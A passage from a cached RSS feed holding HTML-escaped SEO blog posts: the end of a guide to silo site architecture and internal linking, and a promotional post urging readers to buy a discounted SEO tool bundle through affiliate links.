wings in the SERPs (search engine result pages).&lt;/p&gt;\n&lt;h3&gt;Theme-Relevant Internal Linking&lt;/h3&gt;\n&lt;p&gt;To implement theme-relevant internal linking, It is linked from my homepage with the keyword “insurance rates” as the anchor text to reinforce it. I would also use contextual anchor text links to any other silo landing pages that need tier one link flow to support them.&lt;/p&gt;\n&lt;p&gt;By writing a contextual article and linking to the silo landing pages from the homepage, any link juice my homepage receives, get ring-fenced and passed along to the on page editorial links (the silo landing pages / preferred keyword landing pages) by design.&lt;/p&gt;\n&lt;p&gt;The next tier is your category pages; these will become the hub page that sites on tier 2 one folder away from the root.&lt;/p&gt;\n&lt;p&gt;The category page and primary landing page share a similar URL structure, but the primary landing page is the grandparent and the category parent, next up the posts or supporting articles are the children of the parent/category page.&lt;/p&gt;\n&lt;p&gt;For example (to support my silo landing page, I would create a category called &lt;strong&gt;“affordable insurance rates”&lt;/strong&gt; since it is thematically relevant to the silo landing page.&lt;/p&gt;\n&lt;p&gt;On that page, if I wanted to use the H1 tag to link back to the primary landing page with &lt;strong&gt;“insurance rates”&lt;/strong&gt; it would pass along that link flow, when I add the tier 3 pages (blog posts/products or articles) depending on the type of site you are building.&lt;/p&gt;\n&lt;p&gt;Domain.com/insurance-rates/affordable-insurance-rates/ &amp;#8211; whereby the silo landing page becomes the grandparent, the category the parent and the post/supporting article becomes the child.&lt;/p&gt;\n&lt;p&gt;The third tier would be used for adding supporting content under the nested &lt;strong&gt;theme relevant category&lt;/strong&gt; which has the primary purpose of acting as a controlled portion of the website to administer all content that contains the primary or secondary keywords associated with the primary silo landing page.&lt;/p&gt;\n&lt;h3&gt;Adding the Proper Amount of Link-Flow&lt;/h3&gt;\n&lt;p&gt;Link flow is created from linking from page to page with the appropriate anchor text. &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-consulting/which-links-pass-the-most-weight-in-search-engines/\&quot;&gt;Link-flow&lt;/a&gt; also takes the number of inbound and outbound links in addition to the strength and thematic relevance of the links. Siloing passes maximum link flow by capping contextual links (from only linking within the silo) and each page is linked via navigation by virtue of the category.&lt;/p&gt;\n&lt;p&gt;As an example, if I added supporting articles to the affordable insurance rates category they would also be theme related and contain a contextual link that linked back to my category page, which in turn links to my silo landing page (primary landing page in the root).&lt;/p&gt;\n&lt;p&gt;I would add pages like:&lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt;Best insurance rates&lt;/li&gt;\n&lt;li&gt;Save money on insurance&lt;/li&gt;\n&lt;li&gt;Compare insurance rates&lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;And each would become a post attached to the category, such as: domain.com/insurance-rates/affordable-insurance-rates/compare-insurance-rates&lt;/p&gt;\n&lt;p&gt;And have navigational links to everything in that category, while linking back to the silo landing page with the contextual keyword it is trying to rank for “insurance rates”.&lt;/p&gt;\n&lt;p&gt;The benefit to this type of siloing (using a helix link structure for the data hierarchy) is that the primary keyword (the most competitive phrase) gets ranked from the pooling link flow becoming buoyant underneath it and the category and supporting articles also get ranked as a side benefit (from the internal linking from the navigation).&lt;/p&gt;\n&lt;p&gt;To take this a step further, you can mix the anchor text shingles and link back to the category / or silo landing page with multiple anchors (to create keyword stemming).&lt;/p&gt;\n&lt;p&gt;Or, if you wanted to purely silo the page, then you would link in your navigation from the tier 3 pages back to your category page and use the contextual links from the nested supporting articles to link to the primary silo landing page (and not link across to other silos or silo landing pages from any category) only the parent or grandparent (Silo Landing Page).&lt;/p&gt;\n&lt;p&gt;Building sites in this method produce tectonic shifts in rankings, the only thing you need to is (a) continue to drip fresh content and (b) start link building using deep links to the silo landing page or the category pages.&lt;/p&gt;\n&lt;p&gt;There is no need to link to the supporting articles, unless you want to give them a boost, since, over time, they too will rank (from sharing the collective PageRank and link-flow of the theme cluster you created).&lt;/p&gt;\n&lt;h3&gt;Website Silo Architecture SEO Tools Under Development&lt;/h3&gt;\n&lt;p&gt;Siloing can be difficult, which is why to make this simple, this feature has been integrated into our upcoming theme WP Ultimate (which is still undergoing fine tuning). We will however, be releasing our plugin the WP Silo Importer that works in tandem with &lt;a href=\&quot;http://www.networkempire.com/dap/a/?a=152&amp;amp;p=http://www.networkempire.com/bundle-offers/\&quot;&gt;Domain Web Studio&lt;/a&gt; and allows you to build theme relevant optimized WordPress sites in minutes (instead of painstakingly publishing dozens or hundreds of pages by hand).&lt;/p&gt;\n&lt;p&gt;In order to use the advanced silo importer, you will require a subscription to DWS. But we also have a basic silo importer inside &lt;strong&gt;&amp;#8220;&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/wordpress-seo/sneak-peak-of-the-wp-ultimate-theme-by-seo-design-solutions%E2%84%A2/\&quot;&gt;The WP Ultimate Theme&lt;/a&gt;&amp;#8220;&lt;/strong&gt; that allows you to quickly and easily create categories and nested posts on the fly.&lt;/p&gt;\n&lt;p&gt;The advanced silo importer however is far superior and adds a parent silo landing page, ties the category (using a page not a post) to keep link flow buoyant (so your rankings stick) and then uses the posts as the last tier after the categories.&lt;/p&gt;\n&lt;p&gt;The &lt;strong&gt;WP Silo Importer Plugin&lt;/strong&gt; (released within 7-10 days to the DWS community) also uses shortcode which you can inject into pages or sidebars to instantly build our all of the navigational elements for theming your content. Doing this by hand on a 100 page site would take hours, with our plugin, merely seconds.&lt;/p&gt;\n&lt;p&gt;So, the takeaway is, proper planning from theming the website at the beginning of a campaign, combined with tactful supporting content and site structure can save you months on the way to page one and allow you to rank for multiple keywords with 1/10th of the links as a mixed-fruit website.&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;https://plus.google.com/109189625824502979466/?rel=author\&quot; rel=\&quot;author\&quot;&gt; -Jeffrey&lt;/a&gt;&lt;/p&gt;&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=zVJma9RiWtY:_CZ_6pXgeZg:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/zVJma9RiWtY\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot;/&gt;\&quot;;}i:19;a:12:{s:5:\&quot;title\&quot;;s:37:\&quot;3 SEO Tools to Crush Your Competition\&quot;;s:4:\&quot;link\&quot;;s:77:\&quot;http://feeds.seodesignsolutions.com/~r/SeoDesignSolutionsBlog/~3/5QuEJFZhVcg/\&quot;;s:8:\&quot;category\&quot;;s:65:\&quot;SEO ToolsDomain Web StudioDWSNetwork EmpireSEO Project Management\&quot;;s:2:\&quot;dc\&quot;;a:1:{s:7:\&quot;creator\&quot;;s:13:\&quot;Jeffrey_Smith\&quot;;}s:7:\&quot;pubdate\&quot;;s:29:\&quot;Tue, 10 Jan 2012 12:36:12 PST\&quot;;s:4:\&quot;guid\&quot;;s:46:\&quot;http://www.seodesignsolutions.com/blog/?p=9084\&quot;;s:7:\&quot;content\&quot;;a:1:{s:7:\&quot;encoded\&quot;;s:14986:\&quot;&lt;p&gt;Our friends at Themezoom/Network Empire have an exclusive, &lt;a href=\&quot;http://www.networkempire.com/dap/a/?a=152&amp;amp;p=http://www.networkempire.com/bundle-offers/\&quot;&gt; limited-time offer&lt;/a&gt; allowing you to access exclusive tools like the Krakken, The  Last Keyword Tool and Domain Web Studio (DWS) at a significant savings off normally published prices.&lt;/p&gt;\n&lt;div id=\&quot;attachment_9085\&quot; class=\&quot;wp-caption aligncenter\&quot; style=\&quot;width: 460px\&quot;&gt;&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/\&quot;&gt;&lt;img class=\&quot;size-full wp-image-9085\&quot; title=\&quot;3-seo-tools\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2012/01/3-seo-tools.jpg\&quot; alt=\&quot;3 SEO Tools\&quot; width=\&quot;450\&quot; height=\&quot;600\&quot; /&gt;&lt;/a&gt;&lt;p class=\&quot;wp-caption-text\&quot;&gt;3 SEO Tools To Crush Your Competitors&lt;/p&gt;&lt;/div&gt;\n&lt;p&gt;Whether you are an agency (who has clients), an affiliate (looking to leverage your assets for maximum ROI) or a small business owner (trying to carve you own slice of  a market), these tools represent the pinnacle  of market research, SEO implementation and  syndication, allowing you to  create an unfair advantage over your  competition.&lt;span id=\&quot;more-9084\&quot;&gt;&lt;/span&gt;&lt;/p&gt;\n&lt;p&gt;There are 3 videos below (each is over 1 hour) and shows you how to unleash the power of DWS (using data from the Krakken and Last Keyword Tool).  Consider them your training videos (after you &lt;a href=\&quot;http://www.networkempire.com/dap/a/?a=152&amp;amp;p=http://www.networkempire.com/bundle-offers/\&quot;&gt;sign up&lt;/a&gt;) and you can watch the layers unfold. Keep in mind, these offers will not last long, so take action or pay the full price later (you have been warned).&lt;/p&gt;\n&lt;p&gt;These are not common ideas or loose theory, they are methods we use to literally dominate search engines for competitive verticals for our clients and ourselves.&lt;/p&gt;\n&lt;p&gt;We start with the silo framework module and take keyword research and &lt;strong&gt;theme the website architecture&lt;/strong&gt;, from there, we move on the &lt;strong&gt;the DNA braid&lt;/strong&gt; and put together the on page and off page internal / backlink profile and see how steep the competition is, then we move to the third step in the &lt;strong&gt;Project Management Module&lt;/strong&gt; and coordinate the team, structure the on-site content and then push the site live and start promoting it through the syndication blueprint. Trust me, give yourself a few hours, watch the videos and then &lt;a href=\&quot;http://www.networkempire.com/dap/a/?a=152&amp;amp;p=http://www.networkempire.com/bundle-offers/\&quot;&gt;get access&lt;/a&gt; to these tools before they go underground again.&lt;/p&gt;\n&lt;h3&gt;The Silo Framework Module&lt;/h3&gt;\n&lt;p&gt;&lt;object classid=\&quot;clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\&quot; width=\&quot;500\&quot; height=\&quot;369\&quot; codebase=\&quot;http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0\&quot;&gt;&lt;param name=\&quot;allowFullScreen\&quot; value=\&quot;true\&quot; /&gt;&lt;param name=\&quot;allowscriptaccess\&quot; value=\&quot;always\&quot; /&gt;&lt;param name=\&quot;src\&quot; value=\&quot;http://www.youtube.com/v/BUdXkYC4tJQ?version=3&amp;amp;hl=en_US&amp;amp;rel=0\&quot; /&gt;&lt;param name=\&quot;allowfullscreen\&quot; value=\&quot;true\&quot; /&gt;&lt;embed type=\&quot;application/x-shockwave-flash\&quot; width=\&quot;500\&quot; height=\&quot;369\&quot; src=\&quot;http://www.youtube.com/v/BUdXkYC4tJQ?version=3&amp;amp;hl=en_US&amp;amp;rel=0\&quot; allowscriptaccess=\&quot;always\&quot; allowfullscreen=\&quot;true\&quot;&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/p&gt;\n&lt;p&gt;To get the job done you need the right tools and having advanced SEO tools like DWS, Krakken and The Last Keyword Tool are critical for accessing intel that allow you to (1) assess your market (2) data mine competitors and (3) implement exclusive tactics from a vantage point that few competitors are privileged enough to observe.&lt;/p&gt;\n&lt;p&gt;Superior intel allows you to work smarter and identify weaknesses, overlooked niche phrases and markets that overlap on the way &lt;strong&gt;up the ladder&lt;/strong&gt; to the more lucrative / crowning &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-resources/informative-seo-guide-from-seo-design-solutions/\&quot;&gt;market-defining keywords&lt;/a&gt;.&lt;/p&gt;\n&lt;p&gt;But, if you didn’t know what those market defining phrases were, or whether or not those keywords have &lt;strong&gt;“actual”&lt;/strong&gt; dollars attached to their rankings (once you reach the top 3 positions of the traffic band); then you could waste weeks, months or years of time chasing &lt;em&gt;phantom-like&lt;/em&gt; silhouettes that merely deliver a fraction of the traffic you had over zealously anticipated.&lt;/p&gt;\n&lt;p&gt;Wasting time is not an option.  Insulate yourself from futility of targeting duds by using metrics like the Krakken&amp;#8217;s &lt;strong&gt;Total Search Market Value&lt;/strong&gt; (TSMV). TSMV is an assessment for each market that corresponds to a dollar figure based on organic and PPC ranking value.&lt;/p&gt;\n&lt;p&gt;This way, once you now &lt;strong&gt;where the money is&lt;/strong&gt;, and whether or not there is commercial intent, you can tactfully implement &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-videos/seo-video-how-to-properly-silo-your-website/\&quot;&gt;website silo architecture&lt;/a&gt; to scale a plethora of lucrative keywords (like layers of an onion) through using one or multiple websites.&lt;/p&gt;\n&lt;p&gt;Using multiple properties allows you to liberate your revenue model from being overly dependent on any one property. To accomplish this feat, you need a solid strategy and system based repeatability that targets entire cluster of phrases, (The DNA Braid) vs. a few poultry keywords.&lt;/p&gt;\n&lt;h3&gt;The DNA Braid Module&lt;/h3&gt;\n&lt;p&gt;&lt;object classid=\&quot;clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\&quot; width=\&quot;500\&quot; height=\&quot;369\&quot; codebase=\&quot;http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0\&quot;&gt;&lt;param name=\&quot;allowFullScreen\&quot; value=\&quot;true\&quot; /&gt;&lt;param name=\&quot;allowscriptaccess\&quot; value=\&quot;always\&quot; /&gt;&lt;param name=\&quot;src\&quot; value=\&quot;http://www.youtube.com/v/UU61MNyQKvw?version=3&amp;amp;hl=en_US&amp;amp;rel=0\&quot; /&gt;&lt;param name=\&quot;allowfullscreen\&quot; value=\&quot;true\&quot; /&gt;&lt;embed type=\&quot;application/x-shockwave-flash\&quot; width=\&quot;500\&quot; height=\&quot;369\&quot; src=\&quot;http://www.youtube.com/v/UU61MNyQKvw?version=3&amp;amp;hl=en_US&amp;amp;rel=0\&quot; allowscriptaccess=\&quot;always\&quot; allowfullscreen=\&quot;true\&quot;&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/p&gt;\n&lt;p&gt;Would you rather rank for one keyword or rank for hundreds to thousands of keywords, that allow you to reach that “one” keyword faster while you enjoy the fruit of &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-tips/seo-rankings-and-how-to-create-them/\&quot;&gt;keyword stemming&lt;/a&gt; (ranking for stemmed variations) along the way?&lt;/p&gt;\n&lt;p&gt;Time is the real asset in SEO and the extent of the volume of work you can accomplish depends on the tools you have at your disposal, and the team that you have to implement those tactics; especially when it comes to SEO and competing in saturated markets.&lt;/p&gt;\n&lt;p&gt;To use an analogy, working with the wrong tools (against a seasoned competitor) is like bringing 3 men to a battle when your adversary has an army. No matter what strategy you implement (with those 3 men) their limited scope and resources will fall short when &lt;strong&gt;the numbers game&lt;/strong&gt; creeps into the equation.&lt;/p&gt;\n&lt;p&gt;For a website to knock an authority site off the pedestal of the #1 position, it needs both (1) a foundation that is broad enough to support the ascent (by leveraging semantically structured supporting content) and (2) enough vertical milestones (categories and landing pages) to reach the apex for the primary phrase. This means for competitive markets, you may require thousands of pages (to support the mid tail and lucrative / competitive keywords) and dozens to hundreds of links to critical internal pages to reach the aggregate tipping point to reach the apex of a market.&lt;/p&gt;\n&lt;p&gt;But also keep in mind, that for every primary keyword, there are dozens of mid-tail and long-tail keywords that are equally as lucrative (if you devour the entire market along the way).&lt;/p&gt;\n&lt;h3&gt;The Project Management Module&lt;/h3&gt;\n&lt;p&gt;&lt;object classid=\&quot;clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\&quot; width=\&quot;500\&quot; height=\&quot;369\&quot; codebase=\&quot;http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0\&quot;&gt;&lt;param name=\&quot;allowFullScreen\&quot; value=\&quot;true\&quot; /&gt;&lt;param name=\&quot;allowscriptaccess\&quot; value=\&quot;always\&quot; /&gt;&lt;param name=\&quot;src\&quot; value=\&quot;http://www.youtube.com/v/QiSJJP4WiAY?version=3&amp;amp;hl=en_US&amp;amp;rel=0\&quot; /&gt;&lt;param name=\&quot;allowfullscreen\&quot; value=\&quot;true\&quot; /&gt;&lt;embed type=\&quot;application/x-shockwave-flash\&quot; width=\&quot;500\&quot; height=\&quot;369\&quot; src=\&quot;http://www.youtube.com/v/QiSJJP4WiAY?version=3&amp;amp;hl=en_US&amp;amp;rel=0\&quot; allowscriptaccess=\&quot;always\&quot; allowfullscreen=\&quot;true\&quot;&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/p&gt;\n&lt;p&gt;To create websites and manage the process (using clusters and co-occurrence), you need a scalable system that allows you to (a) identify keyword and markets (b) model data, cost, time management and resources and calculate ROI from &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-marketing/the-psychology-of-a-click-through-understanding-intention-fulfillment-and-desire/\&quot;&gt;click through rates&lt;/a&gt;, time to rank, the volume of content and internal links required per keyword or the number of deep links you will need (&lt;em&gt;that was our proprietary algorithm and you can see it work in Video 1 on the silo framework module above&lt;/em&gt;) &amp;#8211; that is the power of DWS, Krakken and The Last Keyword Tool; that is the collective suite known as &lt;a href=\&quot;http://www.networkempire.com/dap/a/?a=152&amp;amp;p=http://www.networkempire.com/bundle-offers/\&quot;&gt;Network Empire&lt;/a&gt;.&lt;/p&gt;\n&lt;p&gt;The volume and extent of the work you execute depends on the system and tools you have at your disposal, especially when SEO and competitive saturated markets are the battleground.&lt;/p&gt;\n&lt;p&gt;Working with advanced SEO tools allows you to plan your roll-out with more depth, a more robust array of theme relevant supporting articles, categories and landing pages and allows you to work smarter and not harder when chipping away at market defining phrases.&lt;/p&gt;\n&lt;p&gt;I have had the distinct honor of working with some of the most brilliant minds (the team from Themezoom) over the past 5 years and I can assure you that there are only a handful of people who understand and implement SEO on this level.&lt;/p&gt;\n&lt;p&gt;While this was our best kept secret for years &lt;strong&gt;“The Krakken”&lt;/strong&gt;, now it is time to borrow a phrase from Hades from Clash of the Titans and &lt;strong&gt;“Release the Krakken”!&lt;/strong&gt;&lt;/p&gt;\n&lt;p&gt;This suite will allow you to walk into a market cold and within 20 minutes have the creamy keywords that float to the top in which to base your existing legacy site (by breathing life into it with a new blog) or start anew and scale the market in a fraction of the time.&lt;/p&gt;\n&lt;p&gt;If you are struggling to find theme relevant keywords (based on sophisticated information retrieval algorithms such as sparse matrix clustering, co-occurrence, Bayes, PaIR, LSI and semantic connectivity) then the Krakken (which drills into 60-90,000 keywords in under 5 minutes) only brings you back phrases which are (1) theme relevant to the parent cluster (original keyword) and (2) either have organic search value or PPC search value.&lt;/p&gt;\n&lt;p&gt;When you continue to refine, add synonyms and keep drilling, you end up with the perfect blueprint (like a skeleton) in which to build out your website into a robust authority site or niche specific entity.&lt;/p&gt;\n&lt;p&gt;This means that if you include these phrases (in their respective website silo architecture) then the entire cluster gets devoured and you rank for more keywords with fewer inbound links (since your own website becomes its own PageRank and link-flow spewing, top 10 ranking juggernaut).&lt;/p&gt;\n&lt;p&gt;Keep in mind that the Krakken transcends ordinary keyword research and uses the same type of natural data hierarchy information retrieval structures (such as Google, Yahoo and Bing) use to ascertain relevance.&lt;/p&gt;\n&lt;p&gt;In short, a blueprint from the Krakken is like mirroring the ideal on page SEO elements, synonyms and synonymic sets search engines grade relevance score with as a conditional metric when analyzing authoritative websites and sorting the wheat from the chaff for positioning.&lt;/p&gt;\n&lt;p&gt;Rarely would I share the exact tools we use to inspect, enter and  dominate markets, but in the spirit of the New Year I do have one  special offer I have been permitted to pass along (for a very limited  time) to all of you who either get our email / blog posts, read  whitepapers and updates from our plugin SEO Ultimate or know who we are  and what we do.&lt;/p&gt;\n&lt;p&gt;In this special offer you get the opportunity to (1) unleash the Krakken in your market (2) it’s powerful and quite formidable little brother “The Last Keyword Tool” and (3) the DWS (Domain Web Studio) the most powerful SEO management suite ever conceived for:&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;a)&lt;/strong&gt; mapping out markets&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;b)&lt;/strong&gt; creating properly themed websites with silo site architecture&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;c)&lt;/strong&gt; managing all elements of the campaign from outsourcing content creation, project management, web development and SEO tasks and most importantly&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;d)&lt;/strong&gt; having a syndication blueprint that creates a timeline for every keyword, assesses its cost, time to rank, ROI and even lets you know how to cross the tipping-point with every keyword in a blueprint.&lt;/p&gt;\n&lt;p&gt;Put simply, this bundle is a must! We have paid $12,000 a year just to use the Krakken, in this offer, you will have to &lt;a href=\&quot;http://www.networkempire.com/dap/a/?a=152&amp;amp;p=http://www.networkempire.com/bundle-offers/\&quot;&gt;click and see for yourself&lt;/a&gt; the savings you can receive.&lt;/p&gt;\n&lt;p&gt;Do yourself a favor; you can win the battle before you even step on the field. I speak from experience on this one, we can do more in less time and completely crush seasoned competitors (such as brands, Wikipedia results, Amazon, Target, Wal-mart and other “strong sites”) using the formula’s developed from building sites (and links) in tandem with a search engines natural data hierarchy – and that is what you will learn from using this suite .&lt;/p&gt;\n&lt;p&gt;In essence, Network Empire silently slays competitors and uses unstoppable algorithms (that search engines love and reward), and now, for a limited time you can save hundreds by &lt;a href=\&quot;http://www.networkempire.com/dap/a/?a=152&amp;amp;p=http://www.networkempire.com/bundle-offers/\&quot;&gt;following this link&lt;/a&gt; and getting your subscription for a hefty discount.&lt;/p&gt;\n&lt;p&gt;In closing, for those naysayers, here are links to an exclusive webinar on the DWS 3.5 launch and other videos on the Krakken and The Last Keyword Tool.&lt;/p&gt;\n&lt;p&gt;This is not a marketing ploy; this is a special offer with bona fide savings for those of you who are serious about dominating your market. This offer will not last and will be pulled in the next 24-48 hours. Act now, or pay full price later. I leave the rest to you…&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;https://plus.google.com/109189625824502979466/?rel=author\&quot; rel=\&quot;author\&quot;&gt; -Jeffrey&lt;/a&gt;&lt;/p&gt;&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=5QuEJFZhVcg:Ocd5kHoh-_M:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/5QuEJFZhVcg\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot;/&gt;\&quot;;}s:11:\&quot;description\&quot;;s:357:\&quot;Our friends at Themezoom/Network Empire have an exclusive, limited-time offer allowing you to access exclusive tools like the Krakken, The Last Keyword Tool and Domain Web Studio (DWS) at a significant savings off normally published prices. Whether you are an agency (who has clients), an affiliate (looking to leverage your assets for maximum ROI) or [...]\&quot;;s:5:\&quot;slash\&quot;;a:1:{s:8:\&quot;comments\&quot;;s:2:\&quot;14\&quot;;}s:10:\&quot;feedburner\&quot;;a:1:{s:8:\&quot;origlink\&quot;;s:87:\&quot;http://www.seodesignsolutions.com/blog/seo-tools/3-seo-tools-to-crush-your-competition/\&quot;;}s:7:\&quot;summary\&quot;;s:357:\&quot;Our friends at Themezoom/Network Empire have an exclusive, limited-time offer allowing you to access exclusive tools like the Krakken, The Last Keyword Tool and Domain Web Studio (DWS) at a significant savings off normally published prices. Whether you are an agency (who has clients), an affiliate (looking to leverage your assets for maximum ROI) or [...]\&quot;;s:12:\&quot;atom_content\&quot;;s:14986:\&quot;&lt;p&gt;Our friends at Themezoom/Network Empire have an exclusive, &lt;a href=\&quot;http://www.networkempire.com/dap/a/?a=152&amp;amp;p=http://www.networkempire.com/bundle-offers/\&quot;&gt; limited-time offer&lt;/a&gt; allowing you to access exclusive tools like the Krakken, The  Last Keyword Tool and Domain Web Studio (DWS) at a significant savings off normally published prices.&lt;/p&gt;\n&lt;div id=\&quot;attachment_9085\&quot; class=\&quot;wp-caption aligncenter\&quot; style=\&quot;width: 460px\&quot;&gt;&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/\&quot;&gt;&lt;img class=\&quot;size-full wp-image-9085\&quot; title=\&quot;3-seo-tools\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2012/01/3-seo-tools.jpg\&quot; alt=\&quot;3 SEO Tools\&quot; width=\&quot;450\&quot; height=\&quot;600\&quot; /&gt;&lt;/a&gt;&lt;p class=\&quot;wp-caption-text\&quot;&gt;3 SEO Tools To Crush Your Competitors&lt;/p&gt;&lt;/div&gt;\n&lt;p&gt;Whether you are an agency (who has clients), an affiliate (looking to leverage your assets for maximum ROI) or a small business owner (trying to carve you own slice of  a market), these tools represent the pinnacle  of market research, SEO implementation and  syndication, allowing you to  create an unfair advantage over your  competition.&lt;span id=\&quot;more-9084\&quot;&gt;&lt;/span&gt;&lt;/p&gt;\n&lt;p&gt;There are 3 videos below (each is over 1 hour) and shows you how to unleash the power of DWS (using data from the Krakken and Last Keyword Tool).  Consider them your training videos (after you &lt;a href=\&quot;http://www.networkempire.com/dap/a/?a=152&amp;amp;p=http://www.networkempire.com/bundle-offers/\&quot;&gt;sign up&lt;/a&gt;) and you can watch the layers unfold. Keep in mind, these offers will not last long, so take action or pay the full price later (you have been warned).&lt;/p&gt;\n&lt;p&gt;These are not common ideas or loose theory, they are methods we use to literally dominate search engines for competitive verticals for our clients and ourselves.&lt;/p&gt;\n&lt;p&gt;We start with the silo framework module and take keyword research and &lt;strong&gt;theme the website architecture&lt;/strong&gt;, from there, we move on the &lt;strong&gt;the DNA braid&lt;/strong&gt; and put together the on page and off page internal / backlink profile and see how steep the competition is, then we move to the third step in the &lt;strong&gt;Project Management Module&lt;/strong&gt; and coordinate the team, structure the on-site content and then push the site live and start promoting it through the syndication blueprint. Trust me, give yourself a few hours, watch the videos and then &lt;a href=\&quot;http://www.networkempire.com/dap/a/?a=152&amp;amp;p=http://www.networkempire.com/bundle-offers/\&quot;&gt;get access&lt;/a&gt; to these tools before they go underground again.&lt;/p&gt;\n&lt;h3&gt;The Silo Framework Module&lt;/h3&gt;\n&lt;p&gt;&lt;object classid=\&quot;clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\&quot; width=\&quot;500\&quot; height=\&quot;369\&quot; codebase=\&quot;http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0\&quot;&gt;&lt;param name=\&quot;allowFullScreen\&quot; value=\&quot;true\&quot; /&gt;&lt;param name=\&quot;allowscriptaccess\&quot; value=\&quot;always\&quot; /&gt;&lt;param name=\&quot;src\&quot; value=\&quot;http://www.youtube.com/v/BUdXkYC4tJQ?version=3&amp;amp;hl=en_US&amp;amp;rel=0\&quot; /&gt;&lt;param name=\&quot;allowfullscreen\&quot; value=\&quot;true\&quot; /&gt;&lt;embed type=\&quot;application/x-shockwave-flash\&quot; width=\&quot;500\&quot; height=\&quot;369\&quot; src=\&quot;http://www.youtube.com/v/BUdXkYC4tJQ?version=3&amp;amp;hl=en_US&amp;amp;rel=0\&quot; allowscriptaccess=\&quot;always\&quot; allowfullscreen=\&quot;true\&quot;&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/p&gt;\n&lt;p&gt;To get the job done you need the right tools and having advanced SEO tools like DWS, Krakken and The Last Keyword Tool are critical for accessing intel that allow you to (1) assess your market (2) data mine competitors and (3) implement exclusive tactics from a vantage point that few competitors are privileged enough to observe.&lt;/p&gt;\n&lt;p&gt;Superior intel allows you to work smarter and identify weaknesses, overlooked niche phrases and markets that overlap on the way &lt;strong&gt;up the ladder&lt;/strong&gt; to the more lucrative / crowning &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-resources/informative-seo-guide-from-seo-design-solutions/\&quot;&gt;market-defining keywords&lt;/a&gt;.&lt;/p&gt;\n&lt;p&gt;But, if you didn’t know what those market defining phrases were, or whether or not those keywords have &lt;strong&gt;“actual”&lt;/strong&gt; dollars attached to their rankings (once you reach the top 3 positions of the traffic band); then you could waste weeks, months or years of time chasing &lt;em&gt;phantom-like&lt;/em&gt; silhouettes that merely deliver a fraction of the traffic you had over zealously anticipated.&lt;/p&gt;\n&lt;p&gt;Wasting time is not an option.  Insulate yourself from futility of targeting duds by using metrics like the Krakken&amp;#8217;s &lt;strong&gt;Total Search Market Value&lt;/strong&gt; (TSMV). TSMV is an assessment for each market that corresponds to a dollar figure based on organic and PPC ranking value.&lt;/p&gt;\n&lt;p&gt;This way, once you now &lt;strong&gt;where the money is&lt;/strong&gt;, and whether or not there is commercial intent, you can tactfully implement &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-videos/seo-video-how-to-properly-silo-your-website/\&quot;&gt;website silo architecture&lt;/a&gt; to scale a plethora of lucrative keywords (like layers of an onion) through using one or multiple websites.&lt;/p&gt;\n&lt;p&gt;Using multiple properties allows you to liberate your revenue model from being overly dependent on any one property. To accomplish this feat, you need a solid strategy and system based repeatability that targets entire cluster of phrases, (The DNA Braid) vs. a few poultry keywords.&lt;/p&gt;\n&lt;h3&gt;The DNA Braid Module&lt;/h3&gt;\n&lt;p&gt;&lt;object classid=\&quot;clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\&quot; width=\&quot;500\&quot; height=\&quot;369\&quot; codebase=\&quot;http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0\&quot;&gt;&lt;param name=\&quot;allowFullScreen\&quot; value=\&quot;true\&quot; /&gt;&lt;param name=\&quot;allowscriptaccess\&quot; value=\&quot;always\&quot; /&gt;&lt;param name=\&quot;src\&quot; value=\&quot;http://www.youtube.com/v/UU61MNyQKvw?version=3&amp;amp;hl=en_US&amp;amp;rel=0\&quot; /&gt;&lt;param name=\&quot;allowfullscreen\&quot; value=\&quot;true\&quot; /&gt;&lt;embed 